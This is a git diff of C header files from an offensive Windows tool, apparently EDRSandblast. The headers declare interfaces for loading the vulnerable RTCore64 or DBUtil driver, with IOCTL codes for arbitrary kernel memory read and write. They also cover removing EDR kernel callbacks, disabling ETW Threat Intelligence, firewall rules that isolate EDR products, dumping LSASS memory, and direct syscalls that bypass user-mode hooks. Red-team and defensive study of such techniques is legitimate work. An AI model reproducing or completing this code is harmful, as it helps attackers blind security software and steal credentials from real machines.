#define PRINT_ERROR_AUTO(func) _tprintf_or_not(TEXT("[!] ERROR ") TEXT(__FUNCTION__) TEXT(" ; ") func TEXT(" (0x%08x)\n"), GetLastError())
#endif
#define SERVICE_NAME_LENGTH 8
#define MAX_UNINSTALL_ATTEMPTS 3
#define OP_SLEEP_TIME 1000
TCHAR* GetServiceName(void);
void SetServiceName(TCHAR* newName, size_t szNewName);
TCHAR* GetDriverServiceName(void);
void SetDriverServiceName(_In_z_ TCHAR* newName);
BOOL InstallVulnerableDriver(TCHAR* driverPath);
BOOL UninstallVulnerableDriver(void);
BOOL IsDriverServiceRunning(LPTSTR driverPath, LPTSTR* serviceName);
+8
View File
@@ -0,0 +1,8 @@
#pragma once
#include <Windows.h>
HANDLE GetDriverHandle_RTCore();
VOID CloseDriverHandle_RTCore();
VOID WriteMemoryPrimitive_RTCore(SIZE_T Size, DWORD64 Address, PVOID Buffer);
VOID ReadMemoryPrimitive_RTCore(SIZE_T Size, DWORD64 Address, PVOID Buffer);
+13
View File
@@ -0,0 +1,13 @@
#pragma once
PBYTE ReadFullFileW(LPCWSTR fileName);
BOOL FileExistsA(LPCSTR szPath);
BOOL FileExistsW(LPCWSTR szPath);
#ifdef UNICODE
#define FileExists FileExistsW
#else
#define FileExists FileExistsA
#endif // !UNICODE
BOOL WriteFullFileW(LPCWSTR fileName, PBYTE fileContent, SIZE_T fileSize);
+4 -2
View File
@@ -2,8 +2,10 @@
#include <Windows.h>
LPTSTR GetNtoskrnlPath();
void GetFileVersion(TCHAR* buffer, SIZE_T bufferLen, TCHAR* filename);
void GetNtoskrnlVersion(TCHAR* ntoskrnlVersion);
LPTSTR GetNtoskrnlVersion();
void GetWdigestVersion(TCHAR* wdigestVersion);
LPTSTR GetWdigestVersion();
+30
View File
@@ -0,0 +1,30 @@
#pragma once
#include <Windows.h>
#pragma warning(disable : 4201)
#include <netfw.h>
#pragma warning(default : 4201)
#include <Tchar.h>
#include <stdio.h>
#include "StringUtils.h"
#pragma comment(lib, "ole32.lib")
#pragma comment(lib, "oleaut32.lib")
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif
#ifndef FW_PROFILE_TYPE_ALL
#define FW_PROFILE_TYPE_ALL 0x7FFFFFFF
#endif
#define FW_RULE_NAME_MAX_LENGTH 20
HRESULT IsFirewallEnabled(BOOL* firewallIsOn);
HRESULT CreateFirewallRuleBlockBinary(TCHAR* binaryPath, NET_FW_RULE_DIRECTION direction, TCHAR* ruleName);
HRESULT DeleteFirewallRule(TCHAR * ruleName);
+37
View File
@@ -0,0 +1,37 @@
/*
--- Firewall rules to block EDR products from the network (inboud / outbound connections).
*/
#pragma once
#include <Windows.h>
#include <Dbghelp.h>
#include <stdio.h>
#include <tlhelp32.h>
#include <Tchar.h>
#include "FirewallOps.h"
#include "IsEDRChecks.h"
#include "IsElevatedProcess.h"
// Singly-linked list used to hold the paths of binaries executed by EDRs (processes / services).
typedef struct sFwBinaryRules_ {
TCHAR* binaryPath;
TCHAR* ruleInboundName;
TCHAR* ruleOutboundName;
struct sFwBinaryRules_* next;
} fwBinaryRules;
typedef struct fwBlockingRulesList_ {
fwBinaryRules* first;
}fwBlockingRulesList;
void FirewallPrintManualDeletion(fwBlockingRulesList* fwEntries);
HRESULT FirewallBlockEDR(fwBlockingRulesList* fwEntries);
HRESULT FirewallUnblockEDR(fwBlockingRulesList* fwEntries);
void fwList_insertSorted(fwBlockingRulesList* fwEntries, fwBinaryRules* newFWEntry);
+2
View File
@@ -0,0 +1,2 @@
#pragma once
BOOL HttpsDownloadFullFile(LPCWSTR domain, LPCWSTR uri, PBYTE* output, SIZE_T* output_size);
+24
View File
@@ -0,0 +1,24 @@
/*
* Primitives to check if a binary or driver belongs to an EDR product.
*/
#pragma once
#include <Windows.h>
#include <Tchar.h>
#include "SignatureOps.h"
TCHAR const* EDR_SIGNATURE_KEYWORDS[];
TCHAR const* EDR_BINARIES[];
TCHAR const* EDR_DRIVERS[];
BOOL isFileSignatureMatchingEDR(TCHAR* filePath);
BOOL isBinaryNameMatchingEDR(TCHAR* binaryName);
BOOL isBinaryPathMatchingEDR(TCHAR* binaryPath);
BOOL isDriverNameMatchingEDR(TCHAR* driverName);
BOOL isDriverPathMatchingEDR(TCHAR* driverPath);
@@ -0,0 +1,8 @@
#pragma once
#include "Windows.h"
#include "Tchar.h"
#pragma comment(lib, "netapi32.lib")
BOOL IsElevatedProcess();
+21 -8
View File
@@ -17,10 +17,24 @@
*/
#define PSP_MAX_CALLBACKS 0x40
//TODO : split notify routines & object callbacks in different files, but keep this base to implement more kernel callbacks types (CMRegisterCallbacks, etc)
enum kernel_callback_type_e {
NOTIFY_ROUTINE_CB,
OBJECT_CALLBACK
};
struct KRNL_CALLBACK {
TCHAR const* driver;
DWORD64 callback_addr;
DWORD64 callback_struct;
enum kernel_callback_type_e type;
TCHAR const* driver_name;
union callback_addr_e {
struct notify_routine_t {
DWORD64 callback_struct_addr;
DWORD64 callback_struct;
enum NtoskrnlOffsetType type; //TODO : decorrelate indices in CSV from notify routine types
} notify_routine;
struct object_callback_t {
DWORD64 enable_addr;
} object_callback;
} addresses;
DWORD64 callback_func;
BOOL removed;
};
@@ -30,11 +44,10 @@ struct FOUND_EDR_CALLBACKS {
struct KRNL_CALLBACK EDR_CALLBACKS[256];
};
TCHAR const* EDR_DRIVERS[];
BOOL isDriverEDR(TCHAR* driver);
void RestoreEDRCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers);
void RestoreEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers);
/*
@@ -78,6 +91,6 @@ void RemoveEDRImageNotifyCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL
*/
void EnumAllEDRKernelCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose);
BOOL EnumEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose);
void RemoveAllEDRKernelCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose);
void RemoveEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers);
+36 -48
View File
@@ -9,61 +9,49 @@
#include <Windows.h>
#define RTCore 0
#define DBUtil 1
#define VULN_DRIVER RTCore
struct RTCORE64_MSR_READ {
DWORD Register;
DWORD ValueHigh;
DWORD ValueLow;
};
#if VULN_DRIVER == RTCore
#define DEFAULT_DRIVER_FILE TEXT("RTCore64.sys")
#define GetDriverHandle GetDriverHandle_RTCore
#define CloseDriverHandle CloseDriverHandle_RTCore
#define ReadMemoryPrimitive ReadMemoryPrimitive_RTCore
#define WriteMemoryPrimitive WriteMemoryPrimitive_RTCore
#elif VULN_DRIVER == DBUtil
#define DEFAULT_DRIVER_FILE TEXT("DBUtil_2_3.sys")
#define GetDriverHandle GetDriverHandle_DBUtil
#define CloseDriverHandle CloseDriverHandle_DBUtil
#define ReadMemoryPrimitive ReadMemoryPrimitive_DBUtil
#define WriteMemoryPrimitive WriteMemoryPrimitive_DBUtil
#endif
struct RTCORE64_MEMORY_READ {
BYTE Pad0[8];
DWORD64 Address;
BYTE Pad1[8];
DWORD ReadSize;
DWORD Value;
BYTE Pad3[16];
};
struct RTCORE64_MEMORY_WRITE {
BYTE Pad0[8];
DWORD64 Address;
BYTE Pad1[8];
DWORD ReadSize;
DWORD Value;
BYTE Pad3[16];
};
BYTE ReadMemoryBYTE(DWORD64 Address);
WORD ReadMemoryWORD(DWORD64 Address);
DWORD ReadMemoryDWORD(DWORD64 Address);
DWORD64 ReadMemoryDWORD64(DWORD64 Address);
static const DWORD RTCORE64_MSR_READ_CODE = 0x80002030;
static const DWORD RTCORE64_MEMORY_READ_CODE = 0x80002048;
static const DWORD RTCORE64_MEMORY_WRITE_CODE = 0x8000204c;
BYTE ReadKernelMemoryBYTE(DWORD64 Offset);
WORD ReadKernelMemoryWORD(DWORD64 Offset);
DWORD ReadKernelMemoryDWORD(DWORD64 Offset);
DWORD64 ReadKernelMemoryDWORD64(DWORD64 Offset);
BYTE ReadMemoryBYTE(HANDLE Device, DWORD64 Address);
VOID ReadMemory(DWORD64 Address, PVOID Buffer, SIZE_T Size);
WORD ReadMemoryWORD(HANDLE Device, DWORD64 Address);
void WriteMemoryBYTE(DWORD64 Address, BYTE Value);
void WriteMemoryWORD(DWORD64 Address, WORD Value);
void WriteMemoryDWORD(DWORD64 Address, DWORD Value);
void WriteMemoryDWORD64(DWORD64 Address, DWORD64 Value);
DWORD ReadMemoryDWORD(HANDLE Device, DWORD64 Address);
void WriteKernelMemoryBYTE(DWORD64 Offset, BYTE Value);
void WriteKernelMemoryWORD(DWORD64 Offset, WORD Value);
void WriteKernelMemoryDWORD(DWORD64 Offset, DWORD Value);
void WriteKernelMemoryDWORD64(DWORD64 Offset, DWORD64 Value);
DWORD64 ReadMemoryDWORD64(HANDLE Device, DWORD64 Address);
VOID WriteMemory(DWORD64 Address, PVOID Buffer, SIZE_T Size);
void WriteMemoryBYTE(HANDLE Device, DWORD64 Address, DWORD64 Value);
VOID CloseDriverHandle();
void WriteMemoryWORD(HANDLE Device, DWORD64 Address, DWORD64 Value);
void WriteMemoryDWORD64(HANDLE Device, DWORD64 Address, DWORD64 Value);
/*
--- Kernel exploitation helpers.
--- Largely inspired from https://github.com/br-sn/CheekyBlinder
--- Source and credit: https://github.com/br-sn/CheekyBlinder/blob/master/CheekyBlinder/CheekyBlinder.cpp
*/
DWORD64 FindNtoskrnlBaseAddress(void);
TCHAR* FindDriver(DWORD64 address, BOOL verbose);
HANDLE GetDriverHandle();
DWORD64 GetFunctionAddress(LPCSTR function);
BOOL TestReadPrimitive();
+7
View File
@@ -0,0 +1,7 @@
#pragma once
#include <Windows.h>
DWORD64 FindNtoskrnlBaseAddress(void);
TCHAR* FindDriverName(DWORD64 address, _Out_opt_ PDWORD64 offset);
TCHAR* FindDriverPath(DWORD64 address);
DWORD64 GetKernelFunctionAddress(LPCSTR function);
-12
View File
@@ -1,12 +0,0 @@
/*
--- LSASS dump functions.
*/
#pragma once
#include <Windows.h>
DWORD WINAPI dumpLSASSProcess(void* data);
+7
View File
@@ -0,0 +1,7 @@
#include <Windows.h>
typedef struct _LINKED_LIST {
struct _LINKED_LIST* next;
} LINKED_LIST, * PLINKED_LIST;
VOID freeLinkedList(PVOID head);
+35 -12
View File
@@ -11,13 +11,16 @@
enum NtoskrnlOffsetType {
CREATE_PROCESS_ROUTINE = 0,
CREATE_THREAD_ROUTINE = 1,
LOAD_IMAGE_ROUTINE = 2,
PROTECTION_LEVEL = 3,
ETW_THREAT_INT_PROV_REG_HANDLE = 4,
ETW_REG_ENTRY_GUIDENTRY = 5,
ETW_GUID_ENTRY_PROVIDERENABLEINFO = 6,
CREATE_PROCESS_ROUTINE,
CREATE_THREAD_ROUTINE,
LOAD_IMAGE_ROUTINE,
PROTECTION_LEVEL,
ETW_THREAT_INT_PROV_REG_HANDLE,
ETW_REG_ENTRY_GUIDENTRY,
ETW_GUID_ENTRY_PROVIDERENABLEINFO,
PSPROCESSTYPE,
PSTHREADTYPE,
OBJECT_TYPE_CALLBACKLIST,
_SUPPORTED_NTOSKRNL_OFFSETS_END
};
@@ -30,21 +33,41 @@ union NtoskrnlOffsets {
DWORD64 pspCreateThreadNotifyRoutine;
// ntoskrnl's PspLoadImageNotifyRoutine
DWORD64 pspLoadImageNotifyRoutine;
// ntoskrnl EPROCESS's _PS_PROTECTION
DWORD64 ps_protection;
// ntoskrnl EPROCESS's Protection field offset
DWORD64 eprocess_protection;
// ntoskrnl ETW Threat Intelligence's EtwThreatIntProvRegHandle
DWORD64 etwThreatIntProvRegHandle;
// ntoskrnl _ETW_REG_ENTRY's GuidEntry
DWORD64 etwRegEntry_GuidEntry;
// ntoskrnl _ETW_GUID_ENTRY's ProviderEnableInfo
DWORD64 etwGuidEntry_ProviderEnableInfo;
// ntoskrnl PsProcessType symbol offset
DWORD64 psProcessType;
// ntoskrnl PsThreadType symbol offset
DWORD64 psThreadType;
// ntoskrnl _OBJECT_TYPE's CallbackList symbol offset
DWORD64 object_type_callbacklist;
} st;
// array version (usefull for code factoring)
DWORD64 ar[_SUPPORTED_NTOSKRNL_OFFSETS_END];
};
union NtoskrnlOffsets ntoskrnlOffsets;
union NtoskrnlOffsets g_ntoskrnlOffsets;
// Return the offsets of nt!PspCreateProcessNotifyRoutine, nt!PspCreateThreadNotifyRoutine, nt!PspLoadImageNotifyRoutine, and nt!_PS_PROTECTION for the specific Windows version in use.
union NtoskrnlOffsets GetNtoskrnlVersionOffsets(TCHAR* ntoskrnlOffsetFilename);
// Stores, in a global variable, the offsets of nt!PspCreateProcessNotifyRoutine, nt!PspCreateThreadNotifyRoutine, nt!PspLoadImageNotifyRoutine, and nt!_PS_PROTECTION for the specific Windows version in use.
void LoadNtoskrnlOffsetsFromFile(TCHAR* ntoskrnlOffsetFilename);
// Saves the offsets, stored in global variable, in the provided CSV file
void SaveNtoskrnlOffsetsToFile(TCHAR* ntoskrnlOffsetFilename);
// Print the Ntosknrl offsets.
void PrintNtoskrnlOffsets();
void LoadNtoskrnlOffsetsFromInternet(BOOL delete_pdb);
BOOL NtoskrnlOffsetsAreAllPresent();
BOOL NtoskrnlAllKernelCallbacksOffsetsArePresent();
BOOL NtoskrnlNotifyRoutinesOffsetsArePresent();
BOOL NtoskrnlEtwtiOffsetsArePresent();
BOOL NtoskrnlObjectCallbackOffsetsArePresent();
+30
View File
@@ -0,0 +1,30 @@
#pragma once
#include <Windows.h>
#define DECLARE_OFFSET(STRUCTNAME, OFFSETNAME) DWORD64 Offset_ ## STRUCTNAME ## _ ## OFFSETNAME
#define DECLARE_SYMBOL(SYMBOL) DWORD64 Sym_ ## SYMBOL
// Offset used in experimental functions (EnumAllObjectsCallbacks, EnableDisableProcessAndThreadObjectsCallbacksSupport)
DECLARE_OFFSET(_OBJECT_TYPE, Name);
DECLARE_OFFSET(_OBJECT_TYPE, TotalNumberOfObjects);
DECLARE_OFFSET(_OBJECT_TYPE, TypeInfo);
DECLARE_OFFSET(_OBJECT_TYPE_INITIALIZER, ObjectTypeFlags);
DECLARE_SYMBOL(ObpObjectTypes);
DECLARE_SYMBOL(ObpTypeObjectType);
//callback support strategy
void EnableDisableProcessAndThreadObjectsCallbacksSupport(BOOL enable);
BOOL AreProcessAndThreadsObjectsCallbacksSupportEnabled();
//undoc struct strategy
void EnumAllObjectsCallbacks();
BOOL EnumEDRProcessAndThreadObjectsCallbacks(struct FOUND_EDR_CALLBACKS* FoundObjectCallbacks);
void EnableEDRProcessAndThreadObjectsCallbacks(struct FOUND_EDR_CALLBACKS* FoundObjectCallbacks);
void DisableEDRProcessAndThreadObjectsCallbacks(struct FOUND_EDR_CALLBACKS* FoundObjectCallbacks);
void EnableDisableAllProcessAndThreadObjectsCallbacks(BOOL enable);
//full black box strategy
SIZE_T CountProcessAndThreadObjectsCallbacks();
void RemoveAllProcessAndThreadObjectsCallbacks();
void RestoreAllProcessAndThreadObjectsCallbacks();
+13 -1
View File
@@ -1,9 +1,10 @@
#pragma once
#pragma warning (disable:4214) //Warning Level 4: C4214: nonstandard extension used : bit field types other than int
#include <Windows.h>
typedef unsigned __int64 QWORD;
typedef struct _IMAGE_RELOCATION_ENTRY {
WORD Offset : 12;
WORD Type : 4;
@@ -14,6 +15,13 @@ typedef struct PE_relocation_t {
WORD Type : 4;
} PE_relocation;
typedef struct PE_codeview_debug_info_t {
DWORD signature;
GUID guid;
DWORD age;
CHAR pdbName[1];
} PE_codeview_debug_info;
typedef struct PE_pointers {
BOOL isMemoryMapped;
BOOL isInAnotherAddressSpace;
@@ -34,6 +42,9 @@ typedef struct PE_pointers {
//relocations info
DWORD nbRelocations;
PE_relocation* relocations;
//debug info
IMAGE_DEBUG_DIRECTORY* debugDirectory;
PE_codeview_debug_info* codeviewDebugInfo;
} PE;
PE* PE_create(PVOID imageBase, BOOL isMemoryMapped);
@@ -48,3 +59,4 @@ VOID PE_parseRelocations(PE* pe);
VOID PE_rebasePE(PE* pe, LPVOID newBaseAddress);
PVOID PE_search_pattern(PE* pe, PBYTE pattern, size_t patternSize);
PVOID PE_search_relative_reference(PE* pe, PVOID target, DWORD relativeReferenceSize);
VOID PE_destroy(PE* pe);
+12
View File
@@ -0,0 +1,12 @@
#pragma once
typedef struct symbol_ctx_t {
LPWSTR pdb_name_w;
DWORD64 pdb_base_addr;
HANDLE sym_handle;
} symbol_ctx;
symbol_ctx* LoadSymbolsFromImageFile(LPCWSTR image_file_path);
DWORD64 GetSymbolAddress(symbol_ctx* ctx, LPCSTR symbol_name);
DWORD GetFieldOffset(symbol_ctx* ctx, LPCSTR struct_name, LPCWSTR field_name);
void UnloadSymbols(symbol_ctx* ctx, BOOL delete_pdb);
+16
View File
@@ -0,0 +1,16 @@
/*
--- LSASS dump functions.
*/
#pragma once
#include <Windows.h>
//typedef BOOL(WINAPI* _MiniDumpWriteDump)(HANDLE hProcess, DWORD ProcessId, HANDLE hFile, MINIDUMP_TYPE DumpType, PMINIDUMP_EXCEPTION_INFORMATION ExceptionParam, PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam, PMINIDUMP_CALLBACK_INFORMATION CallbackParam);
typedef BOOL(WINAPI* _MiniDumpWriteDump)(HANDLE hProcess, DWORD ProcessId, HANDLE hFile, MINIDUMP_TYPE DumpType, PVOID ExceptionParam, PVOID UserStreamParam, PVOID CallbackParam);
DWORD WINAPI dumpProcess(LPTSTR processName, TCHAR* outputDumpFile);
DWORD WINAPI dumpProcessFromThread(PVOID* args);
@@ -0,0 +1,29 @@
#pragma once
#include <Windows.h>
#include <tchar.h>
enum ProcessorArchitecture {
AMD64 = 9,
INTEL = 0,
};
#if _WIN64
#define PROCESSOR_ARCHITECTURE AMD64
#define SIZE_OF_SYSTEM_INFO_STREAM 48
#else
#define PROCESSOR_ARCHITECTURE INTEL
#define SIZE_OF_SYSTEM_INFO_STREAM 56
#endif
typedef struct _DUMP_CONTEXT {
HANDLE hProcess;
PVOID BaseAddress;
ULONG32 RVA;
SIZE_T DumpMaxSize;
ULONG32 Signature;
USHORT Version;
USHORT ImplementationVersion;
} DUMP_CONTEXT, * PDUMP_CONTEXT;
DWORD SandMiniDumpWriteDump(TCHAR* targetProcessName, WCHAR* dumpFilePath);
DWORD SandMiniDumpWriteDumpFromThread(PVOID* args);
+34
View File
@@ -0,0 +1,34 @@
#include <Windows.h>
#include <tchar.h>
#include "../EDRSandblast.h"
#include "Undoc.h"
typedef struct _MODULE_INFO {
struct _MODULE_INFO* next;
ULONG64 dllBase;
ULONG32 ImageSize;
WCHAR dllName[256];
ULONG32 nameRVA;
ULONG32 timeDateStamp;
ULONG32 checkSum;
} MODULE_INFO, * PMODULE_INFO;
typedef struct _MEMORY_PAGE_INFO {
struct _MEMORY_PAGE_INFO* next;
ULONG64 startOfMemoryPage;
ULONG64 dataSize;
DWORD state;
DWORD protect;
DWORD type;
} MEMORY_PAGE_INFO, * PMEMORY_PAGE_INFO;
PVOID GetRVA(ULONG_PTR baseAddress, ULONG_PTR RVA);
// Return a pointer to the target process PEB Ldr (as a pseudo LDR_DATA_TABLE_ENTRY).
PLDR_DATA_TABLE_ENTRY getPebLdrAddress(HANDLE hProcess);
// Return a module info list of loaded moduler in InMemoryOrder.
PMODULE_INFO getModulesInLdrByInMemoryOrder(HANDLE hProcess);
PMEMORY_PAGE_INFO getMemoryPagesInfo(HANDLE hProcess, BOOL filterPage);
-6
View File
@@ -10,15 +10,9 @@
#include <Windows.h>
//extern union NtoskrnlOffsets ntoskrnlOffsets;
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
#endif
#define STATUS_INFO_LENGTH_MISMATCH 0xc0000004
#define PROTECTED_PROCESS_MASK 0x00000800
/*
* Defines the NtQuerySystemInformation function.
+121
View File
@@ -0,0 +1,121 @@
#pragma once
// Code below is adapted from @modexpblog. Read linked article for more details.
// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams
#ifndef SW2_HEADER_H_
#define SW2_HEADER_H_
#include <windows.h>
#include "Undoc.h"
#define SW2_SEED 0xE14B0D06
#define SW2_ROL8(v) (v << 8 | v >> 24)
#define SW2_ROR8(v) (v >> 8 | v << 24)
#define SW2_ROX8(v) ((SW2_SEED % 2) ? SW2_ROL8(v) : SW2_ROR8(v))
#define SW2_MAX_ENTRIES 500
#define SW2_RVA2VA(Type, DllBase, Rva) (Type)((ULONG_PTR) DllBase + Rva)
// Typedefs are prefixed to avoid pollution.
typedef struct _SW2_SYSCALL_ENTRY
{
DWORD Hash;
DWORD RVA;
DWORD SyscallNumber;
} SW2_SYSCALL_ENTRY, * PSW2_SYSCALL_ENTRY;
typedef struct _SW2_SYSCALL_LIST
{
DWORD Count;
SW2_SYSCALL_ENTRY Entries[SW2_MAX_ENTRIES];
} SW2_SYSCALL_LIST, * PSW2_SYSCALL_LIST;
DWORD SW2_HashSyscall(PCSTR FunctionName);
BOOL SW2_PopulateSyscallList(void);
EXTERN_C DWORD SW2_GetSyscallNumber(DWORD FunctionHash);
#ifndef InitializeObjectAttributes
#define InitializeObjectAttributes( p, n, a, r, s ) { \
(p)->Length = sizeof( OBJECT_ATTRIBUTES ); \
(p)->RootDirectory = r; \
(p)->Attributes = a; \
(p)->ObjectName = n; \
(p)->SecurityDescriptor = s; \
(p)->SecurityQualityOfService = NULL; \
}
#endif
EXTERN_C NTSTATUS NtGetNextProcess(
IN HANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN ULONG HandleAttributes,
IN ULONG Flags,
OUT PHANDLE NewProcessHandle);
EXTERN_C NTSTATUS NtQueryInformationProcess(
IN HANDLE ProcessHandle,
IN PROCESSINFOCLASS ProcessInformationClass,
OUT PVOID ProcessInformation,
IN ULONG ProcessInformationLength,
OUT PULONG ReturnLength OPTIONAL);
EXTERN_C NTSTATUS NtClose(
IN HANDLE Handle);
EXTERN_C NTSTATUS NtAllocateVirtualMemory(
IN HANDLE ProcessHandle,
IN OUT PVOID* BaseAddress,
IN ULONG ZeroBits,
IN OUT PSIZE_T RegionSize,
IN ULONG AllocationType,
IN ULONG Protect);
EXTERN_C NTSTATUS NtOpenProcess(
OUT PHANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PCLIENT_ID ClientId OPTIONAL);
EXTERN_C NTSTATUS NtQueryVirtualMemory(
IN HANDLE ProcessHandle,
IN PVOID BaseAddress,
IN MEMORY_INFORMATION_CLASS MemoryInformationClass,
OUT PVOID MemoryInformation,
IN SIZE_T MemoryInformationLength,
OUT PSIZE_T ReturnLength OPTIONAL);
EXTERN_C NTSTATUS NtReadVirtualMemory(
IN HANDLE ProcessHandle,
IN PVOID BaseAddress OPTIONAL,
OUT PVOID Buffer,
IN SIZE_T BufferSize,
OUT PSIZE_T NumberOfBytesRead OPTIONAL);
EXTERN_C NTSTATUS NtCreateFile(
OUT PHANDLE FileHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN PLARGE_INTEGER AllocationSize OPTIONAL,
IN ULONG FileAttributes,
IN ULONG ShareAccess,
IN ULONG CreateDisposition,
IN ULONG CreateOptions,
IN PVOID EaBuffer OPTIONAL,
IN ULONG EaLength);
EXTERN_C NTSTATUS NtWriteFile(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN PVOID Buffer,
IN ULONG Length,
IN PLARGE_INTEGER ByteOffset OPTIONAL,
IN PULONG Key OPTIONAL);
#endif
+29
View File
@@ -0,0 +1,29 @@
#pragma once
#include <windows.h>
#include "winerror.h"
#include <wincrypt.h>
#include <wintrust.h>
#include <stdio.h>
#include <tchar.h>
#pragma comment(lib, "crypt32.lib")
typedef
enum _SignatureOpsError {
E_FILE_NOT_FOUND = -2,
E_KO = -1,
E_SUCCESS = 0,
E_INSUFFICIENT_BUFFER = 1,
E_NOT_SIGNED = 2
} SignatureOpsError;
//typedef enum _signatureOpsError signatureOpsError;
/*
* Retrieves a string containing the Signers of the specificied file concatenated.
* Parameters:
* [in] pFilePath: path the file.
* [out] outSigners: out string that will contain the concatenated Signers. If outSigners is NULL, szOutSigners will contain the number of TCHAR required for the output string (termination included).
* [in,out] szOutSigners: length of outSigners. If szOutSigners is too small, szOutSigners will contain the number of TCHAR required for the output string (termination included).
*/
SignatureOpsError GetFileSigners(TCHAR* pFilePath, TCHAR* outSigners, size_t* szOutSigners);
+12
View File
@@ -0,0 +1,12 @@
#pragma once
#include <Windows.h>
#include <Tchar.h>
#include "Undoc.h"
#include "time.h"
VOID getUnicodeStringFromTCHAR(OUT PUNICODE_STRING unicodeString, IN WCHAR* tcharString);
TCHAR* generateRandomString(TCHAR* str, size_t size);
TCHAR* allocAndGenerateRandomString(size_t length);
@@ -0,0 +1,16 @@
#pragma once
#include <Windows.h>
#include <tchar.h>
#include "../EDRSandblast.h"
#include "SW2_Syscalls.h"
#define ProcessImageFileName 27
DWORD SandGetProcessPID(HANDLE hProcess);
PUNICODE_STRING SandGetProcessImage(HANDLE hProcess);
DWORD SandGetProcessFilename(PUNICODE_STRING ProcessImageUnicodeStr, TCHAR* ImageFileName, DWORD nSize);
DWORD SandFindProcessPidByName(TCHAR* targetProcessName, DWORD* pPid);
+4
View File
@@ -0,0 +1,4 @@
#pragma once
#include <Windows.h>
PVOID CreateSyscallStubWithVirtuallAlloc(LPCSTR ntFunctionName);
+116 -10
View File
@@ -148,6 +148,7 @@
#ifdef _MSC_VER
//when compiling as C
#pragma warning (disable:4214) //Warning Level 4: C4214: nonstandard extension used : bit field types other than int
#pragma warning (disable:4201) //Warning Level 4: C4201: nonstandard extension used: nameless struct/union
//"#pragma pack(1)" not needed as Microsoft has designed all structure members to be on natural boundaries
@@ -276,9 +277,15 @@ struct RTL_CRITICAL_SECTION
typedef struct _CLIENT_ID
{
DWORD ProcessId;
DWORD ThreadId;
} CLIENT_ID;
HANDLE ProcessId;
HANDLE ThreadId;
} CLIENT_ID, * PCLIENT_ID;
//typedef struct _CLIENT_ID
//{
// HANDLE UniqueProcess;
// HANDLE UniqueThread;
//} CLIENT_ID, * PCLIENT_ID;
/*
typedef struct _PROCESSOR_NUMBER
@@ -293,16 +300,15 @@ typedef struct _STRING
{
WORD Length;
WORD MaximumLength;
CHAR* Buffer;
CHAR* Buffer;
} STRING;
typedef struct _UNICODE_STRING
{
WORD Length;
WORD MaximumLength;
WCHAR* Buffer;
} UNICODE_STRING;
WCHAR* Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
//
// Exception-specific structures and definitions
@@ -469,7 +475,7 @@ typedef struct _PEB_LDR_DATA
LIST_ENTRY InMemoryOrderModuleList; //0x14
LIST_ENTRY InInitializationOrderModuleList; //0x1C
void* EntryInProgress; //0x24
} PEB_LDR_DATA;
} PEB_LDR_DATA, * PPEB_LDR_DATA;
typedef struct PEB_FREE_BLOCK PEB_FREE_BLOCK;
struct PEB_FREE_BLOCK
@@ -509,7 +515,7 @@ typedef struct _RTL_USER_PROCESS_PARAMETERS
UNICODE_STRING ShellInfo; //0x80
UNICODE_STRING RuntimeData; //0x88
RTL_DRIVE_LETTER_CURDIR DLCurrentDirectory[0x20]; //0x90
} RTL_USER_PROCESS_PARAMETERS;
} RTL_USER_PROCESS_PARAMETERS, * PRTL_USER_PROCESS_PARAMETERS;
//
// PEB (Process Environment Block) 32-bit
@@ -728,7 +734,7 @@ typedef struct _PEB
} dword254;
void* WaitOnAddressHashTable[128]; //0x025C
} PEB;
} PEB, * PPEB;
//
@@ -1152,4 +1158,104 @@ typedef struct _LDR_DATA_TABLE_ENTRY
LIST_ENTRY StaticLinks;
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
#define OBJ_CASE_INSENSITIVE 0x00000040L
#define FILE_SUPERSEDE 0x00000000
#define FILE_OPEN 0x00000001
#define FILE_CREATE 0x00000002
#define FILE_OPEN_IF 0x00000003
#define FILE_OVERWRITE 0x00000004
#define FILE_MAXIMUM_DISPOSITION 0x00000005
#define FILE_DIRECTORY_FILE 0x00000001
#define FILE_WRITE_THROUGH 0x00000002
#define FILE_SEQUENTIAL_ONLY 0x00000004
#define FILE_NO_INTERMEDIATE_BUFFERING 0x00000008
#define FILE_SYNCHRONOUS_IO_ALERT 0x00000010
#define FILE_SYNCHRONOUS_IO_NONALERT 0x00000020
#define FILE_NON_DIRECTORY_FILE 0x00000040
#define FILE_CREATE_TREE_CONNECTION 0x00000080
#define FILE_COMPLETE_IF_OPLOCKED 0x00000100
#define FILE_NO_EA_KNOWLEDGE 0x00000200
#define FILE_OPEN_FOR_RECOVERY 0x00000400
#define FILE_RANDOM_ACCESS 0x00000800
#define FILE_DELETE_ON_CLOSE 0x00001000
#define FILE_OPEN_BY_FILE_ID 0x00002000
#define FILE_OVERWRITE_IF 0x00000005
typedef struct _IO_STATUS_BLOCK
{
union
{
NTSTATUS Status;
VOID* Pointer;
};
ULONG_PTR Information;
} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;
typedef struct _OBJECT_ATTRIBUTES
{
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
